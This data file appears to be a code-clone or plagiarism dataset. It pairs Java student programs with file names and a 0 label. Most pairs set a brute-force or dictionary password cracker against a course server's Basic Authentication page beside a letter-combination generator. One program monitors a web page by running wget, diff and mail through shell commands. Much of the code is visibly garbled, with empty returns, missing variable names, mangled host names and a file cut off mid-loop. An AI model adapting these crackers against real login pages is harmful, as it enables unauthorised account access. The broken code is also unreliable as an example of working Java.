Process ls_proc = Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students");
try {
Thread.sleep(2000);
}catch (Exception e) {
System.err.println("Caught ThreadException: " +e.getMessage());
}
String[] cmd = {"//sh","-c", "diff Index2.html index.html >report.txt "};
ls_proc = Runtime.getRuntime().exec(cmd);
try {
Thread.sleep(2000);
}catch (Exception e) {
System.err.println("Caught ThreadException: " +e.getMessage());
}
if (ls_proc.exitValue()==2)
{
System.out.println("The file was checked for first time, email sent");
Process move = Runtime.getRuntime().exec("mv index.html Index2.html");
}
else
{
stream = new FileInputStream ("report.txt");
word =new DataInputStream(stream);
if (word.available() !=0)
{
try
{
String[] cmd1 = {"//sh","-c","diff Index2.html index.html | mail "+args[0]};
Process proc = Runtime.getRuntime().exec(cmd1);
Thread.sleep(2000);
Process move = Runtime.getRuntime().exec("mv index.html Index2.html");
Thread.sleep(2000);
System.out.println("Difference Found , Email Sent");
}
catch (Exception e1) {
System.err.println(e1);
System.exit(1);
}
}
else
{
System.out.println(" Differnce Detected");
}
}
}
catch (IOException e1) {
System.err.println(e1);
System.exit(1);
}
try
{
word.close();
stream.close();
}
catch (IOException e)
{
System.out.println("Error in closing input file:\n" + e.toString());
}
try {
Thread.sleep(20000);
}
catch (Exception e)
{
System.err.println("Caught ThreadException: " +e.getMessage());
}
}
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
034.java | 207.java | 0 |
class LoginAttemptResults
{
private boolean success = false;
private int passwordsTried = 0;
public LoginAttemptResults()
{
}
public void setSuccess (boolean inSuccess)
{
success = inSuccess;
}
public boolean getSuccess()
{
return success;
}
public void setPasswordsTried ( int inPasswordsTried)
{
passwordsTried = inPasswordsTried;
}
public int getPasswordsTried()
{
return passwordsTried;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
163.java | 207.java | 0 | package java.httputils;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.MalformedURLException;
import java.sql.Timestamp;
import java.util.Observable;
public class BruteForce extends Observable
{
protected Timestamp start;
protected Timestamp end;
protected String URL = "http://localhost:8080/secret/index.html";
protected String userName = "";
protected String content = "";
protected int attempts = 0;
protected String password;
protected String fileName;
public static final char[] letters =
{
'a',
'b',
'c',
'd',
'e',
'f',
'g',
'h',
'i',
'j',
'k',
'l',
'm',
'n',
'o',
'p',
'q',
'r',
's',
't',
'u',
'v',
'w',
'x',
'y',
'z',
'A',
'B',
'C',
'D',
'E',
'F',
'G',
'H',
'I',
'J',
'K',
'L',
'M',
'N',
'O',
'P',
'Q',
'R',
'S',
'T',
'U',
'V',
'W',
'X',
'Y',
'Z',
' '};
public BruteForce()
{
}
public void process()
{
StringBuffer password = new StringBuffer("aaa");
setStart(new Timestamp(System.currentTimeMillis()));
for (int i = 0;
i < letters.length - 1;
password.setCharAt(0, letters[i]), i++)
{
for (int i2 = 0;
i2 < letters.length;
password.setCharAt(1, letters[i2]), i2++)
{
for (int i3 = 0;
i3 < letters.length;
password.setCharAt(2, letters[i3]), i3++)
{
try
{
attempts++;
BasicAuthHttpRequest req =
new BasicAuthHttpRequest(
getURL(),
getUserName(),
password.toString().trim());
setPassword(password.toString());
setEnd(new Timestamp(System.currentTimeMillis()));
setContent(req.getContent().toString());
if (getFileName() != null && getFileName().length() > 0)
{
createReport();
}
return;
}
catch (MalformedURLException e)
{
e.printStackTrace();
return;
}
catch (IOException e)
{
}
}
}
}
setEnd(new Timestamp(System.currentTimeMillis()));
}
public void createReport()
{
OutputStream os = null;
try
{
os = new BufferedOutputStream(
new FileOutputStream(getFileName(), false));
os.write(printResult().getBytes());
}
catch (FileNotFoundException e)
{
e.printStackTrace();
}
catch (IOException e)
{
e.printStackTrace();
}
finally
{
if (os != null)
{
try
{
os.close();
}
catch (IOException e)
{
}
}
}
}
public String printResult()
{
StringBuffer s = new StringBuffer();
s.append("** " + this.getClass().getName() + " Results **\n\n");
s.append("Password: " + getPassword() + "\n\n");
s.append("Attempts : " + attempts + "\n\n");
s.append(
"Time (seconds): "
+ (getEnd().getTime() - getStart().getTime()) / 1000
+ "\n\n");
s.append("Content: \n" + getContent() + "\n\n");
return s.toString();
}
public String printUsage()
{
StringBuffer s = new StringBuffer();
s.append("** BruteForce proper usage **\n\n");
s.append(
"java ..httputils.BruteForce <URL> <UserName> <OutputFile - Optional>\n\n");
return s.toString();
}
public static void main(String[] args)
{
BruteForce bruteForce = new BruteForce();
if (args.length < 2)
{
System.out.println(bruteForce.printUsage());
}
else
{
bruteForce.setURL(args[0]);
bruteForce.setUserName(args[1]);
if (args.length > 2)
{
bruteForce.setFileName(args[2]);
}
bruteForce.process();
System.out.println(bruteForce.printResult());
}
}
public Timestamp getEnd()
{
return end;
}
public Timestamp getStart()
{
return ;
}
public void setEnd(Timestamp timestamp)
{
end = timestamp;
}
public void setStart(Timestamp timestamp)
{
time = timestamp;
}
public String getURL()
{
return URL;
}
public void setURL(String string)
{
URL = string;
}
public String getUserName()
{
return userName;
}
public void setUserName(String string)
{
userName = string;
}
public String getContent()
{
return content;
}
public void setContent(String string)
{
content = string;
}
public String getPassword()
{
return password;
}
public void setPassword(String string)
{
password = string;
}
public String getFileName()
{
return fileName;
}
public void setFileName(String string)
{
fileName = string;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
032.java | 207.java | 0 |
import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.util.*;
import java.net.*;
public class Dictionary
{
private String userPassword;
private static int counter;
public Dictionary(String username)
{
String user;
String password;
counter = 0;
user = username;
try
{
FileReader fr = new FileReader( "/usr/share/lib/dict/words" );
BufferedReader bf = new BufferedReader( fr );
while ((password = bf.readLine()) != null)
{
userPassword = user + ":" + password;
System.out.print(".");
if (password.length() == 3)
if (doEncoding(userPassword)== true)
{
System.out.println(password);
return;
}
counter++;
}
}
catch ( IOException ioe )
{
System.err.println( ioe.toString() );
}
}
private boolean doEncoding(String userPassword)
{
String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes());
return doAttempt(encoding);
}
private boolean doAttempt (String encoding)
{
try
{
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection uc = url.openConnection();
uc.setDoInput(true);
uc.setDoOutput(true);
uc.setRequestProperty ("Get", "/SEC/2/ " + "HTTP/1.1");
uc.setRequestProperty ("Host", "sec-crack.cs.rmit.edu.");
uc.setRequestProperty ("Authorization", " " + encoding);
return uc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK");
}
catch (MalformedURLException e)
{
System.out.println ("Invalid URL");
}
catch (IOException e)
{
System.out.println (e.toString() );
}
return false;
}
public static void main(String args[])
{
Date sdate = new Date();
System.out.print("Starting the Ditionary Attack at:" + sdate + "\n");
Dictionary bf = new Dictionary(args[0]);
Date edate = new Date();
System.out.print("Ditionary Attack ends at:" + sdate + "\n");
System.out.println("Time taken by Dictionary is : " + (edate.getTime() - sdate.getTime())/1000 + " seconds \n");
System.out.print("Attempts in this session:" + counter + "\n");
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
090.java | 207.java | 0 | import java.io.*;
import java.net.*;
import java.security.*;
import java.math.*;
import java.*;
import java.util.*;
public class Dictionary
{
public static void main (String args[]) throws Exception {
Socket socket = null;
DataOutputStream = null;
BufferedReader bf = null, fr = null;
String retVal = null, StatusCode = "HTTP/1.1 200 OK";
int found = 0, count = 0;
String testpasswd;
try {
File inputFile = new File("words");
fr = new BufferedReader(new FileReader(inputFile));
} catch (IOException ex) {
ex.printStackTrace();
}
stime = System.currentTimeMillis();
System.out.println("Cracking password by Dictionary...");
while (((testpasswd = fr.readLine()) != null) && (found == 0))
{
try {
URL yahoo = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection yc = yahoo.openConnection();
String authString = ":" + testpasswd;
String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes());
yc.setRequestProperty("Authorization", " " + auth);
count++;
BufferedReader in = new BufferedReader(
new InputStreamReader(
yc.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null){
System.out.println(inputLine);
etime = System.currentTimeMillis();
System.out.println("Password found -- " + testpasswd);
System.out.println("Time used = " + ((etime - stime)/1000) + " sec");
System.out.println("# of attempt = " + count);
System.out.println("End of cracking!");
found = 1;
}
in.print();
} catch (Exception ex) {}
}
fr.close();
if (found == 0) {
System.out.println("Sorry, password found.");
System.out.println("# of attempt = " + count);
System.out.println("End of cracking!");
}
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
138.java | 207.java | 0 | import java.io.*;
import java.util.Date;
import java.jscape.inet.http.*;
class BruteForce
{
public static void main (String args[]) throws Exception
{
String username = "";
byte asciiLower[] = {97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122};
byte asciiUpper[] = {65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90};
int errorMessage = 401;
int firstPosition = 0;
int secondPosition = 0;
int thirdPosition = 0;
int number = 1;
int attempts = 0;
Http http = new Http();
HttpRequest request = new HttpRequest ("http://sec-crack.cs.rmit.edu./SEC/2/" );
Date startDate = new Date();
for(firstPosition = 0; firstPosition < 26; firstPosition++)
{
String one = new String (asciiLower, firstPosition, number);
String password = one;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 401)
{
for(firstPosition = 0; firstPosition < 26; firstPosition++)
{
String one = new String (asciiUpper, firstPosition, number);
String password = one;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
String one = new String(asciiLower, firstPosition,number);
String two = new String (asciiLower, secondPosition, number);
String password = one + two;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
String one = new String(asciiUpper, firstPosition,number);
String two = new String (asciiUpper, secondPosition, number);
String password = one + two;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if(errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
String one = new String(asciiUpper, firstPosition,number);
String two = new String (asciiLower, secondPosition, number);
String password = one + two;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
{
String one = new String(asciiLower, firstPosition,number);
String two = new String (asciiLower, secondPosition, number);
String three = new String (asciiLower, thirdPosition, number);
String password = one + two + three;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
{
String one = new String(asciiUpper, firstPosition,number);
String two = new String (asciiUpper, secondPosition, number);
String three = new String (asciiUpper, thirdPosition, number);
String password = one + two + three;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
{
String one = new String(asciiUpper, firstPosition,number);
String two = new String (asciiLower, secondPosition, number);
String three = new String (asciiLower, thirdPosition, number);
String password = one + two + three;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
String one = new String(asciiLower, firstPosition,number);
String two = new String (asciiUpper, secondPosition, number);
String password = one + two;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
{
String one = new String(asciiLower, firstPosition,number);
String two = new String (asciiLower, secondPosition, number);
String three = new String (asciiUpper, thirdPosition, number);
String password = one + two + three;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
{
String one = new String(asciiLower, firstPosition,number);
String two = new String (asciiUpper, secondPosition, number);
String three = new String (asciiUpper, thirdPosition, number);
String password = one + two + three;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
}
if (errorMessage == 401)
{
for (firstPosition = 0; firstPosition < 26; firstPosition ++)
{
for(secondPosition = 0; secondPosition < 26; secondPosition++)
{
for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
{
String one = new String(asciiLower, firstPosition,number);
String two = new String (asciiUpper, secondPosition, number);
String three = new String (asciiLower, thirdPosition, number);
String password = one + two + three;
request.setBasicAuthentication(username,password);
HttpResponse response = http.getResponse(request);
errorMessage = response.getResponseCode();
System.out.println(errorMessage);
System.out.println(password);
attempts++;
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
if (errorMessage == 200)
break;
}
